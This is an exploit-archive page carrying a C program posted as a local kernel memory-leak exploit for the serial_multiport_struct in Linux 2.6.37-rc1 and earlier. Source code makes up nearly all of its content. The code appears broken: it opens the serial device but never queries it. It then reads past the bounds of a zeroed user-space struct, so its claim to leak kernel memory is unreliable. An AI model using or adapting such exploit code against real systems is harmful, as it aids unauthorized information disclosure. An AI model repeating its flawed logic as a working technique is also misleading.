exploit the possibilities

Linux 2.6.37-rc1 serial_multiport_struct Local Leak

Linux 2.6.37-rc1 serial_multiport_struct Local Leak
Posted Nov 2, 2011
Authored by Todor Donev

Linux kernel version 2.6.37-rc1 and below serial_multiport_struct local leak exploit.

tags | exploit, kernel, local
systems | linux
MD5 | f5547fcc5f4c02814be65bff0d975a05

Linux 2.6.37-rc1 serial_multiport_struct Local Leak

Change Mirror Download
/* Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit
*
* ./splitmilk2 leak 134514859
* [\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak Exploit
* [\m/] by Todor Donev
* [x] Leakfile : leak
* [x] Reservedsize : 134514859
* [+] Leaking.. =)
* ...
*
*
* Greets to prdelka,
* for splitmilk.c release, Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT
leak exploit
*
* Thanks to Tsvetelina Emirska,
* that support, respect and inspire me..
*
* Yes, I know thats lame, but I was so bored and lazy for better.
*
* Author: Todor Donev
* Author email: [todor.donev@gmail]
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <termios.h>
#include <linux/serial.h>

#define DEVICE "/dev/ttyS1"

int main(int argc, char* argv[]) {
int ret = 0;
int i, fd, reservedsize;
char* buf;
struct serial_multiport_struct buffer;
printf("[\\m/] Linux <= 2.6.37-rc1 serial_multiport_struct Local Leak
Exploit\n");
printf("[\\m/] by Todor Donev\n");
fd = open(DEVICE, O_RDONLY);
if (fd <0) {
printf("[-] Error: f0k\n");
exit(-1);
}
if (argc < 2) {
fprintf(stderr, "[!] usg: %s <leakfile> <reservedsize>\n", argv[0]);
exit(-1);
}
if (argc > 2)
if ((reservedsize = atoi(argv[2])) == 0) {
fprintf(stderr, " [-] Sorry: (atoi) invalid outsize\n");
exit(-1);
}
fprintf(stderr, " [x] Leakfile: %s\n", argv[1]);
fprintf(stderr, " [x] Reservedsize: %u\n", reservedsize);
if ((buf = (char *)malloc(reservedsize)) == NULL) {
perror("Sorry: (malloc)");
fprintf(stderr, " [-] Sorry: Try again with other output size\n");
exit(1);
}
memset(&buffer,0,sizeof(
buffer));
printf("[+] Leaking.. =)\n");
if((fd = open(argv[1], O_RDWR | O_CREAT, 0640)) == -1){
printf("[-] Error: f0k =(\n");
exit(-1);
}
for(i=0;i<=reservedsize;i++){
ret += write(fd,&buffer.reserved[i],sizeof(int));
}
close(fd);
printf("\\o/ %d bytez\n",ret);
exit(0);
}
Login or Register to add favorites

File Archive:

August 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    1 Files
  • 2
    Aug 2nd
    7 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close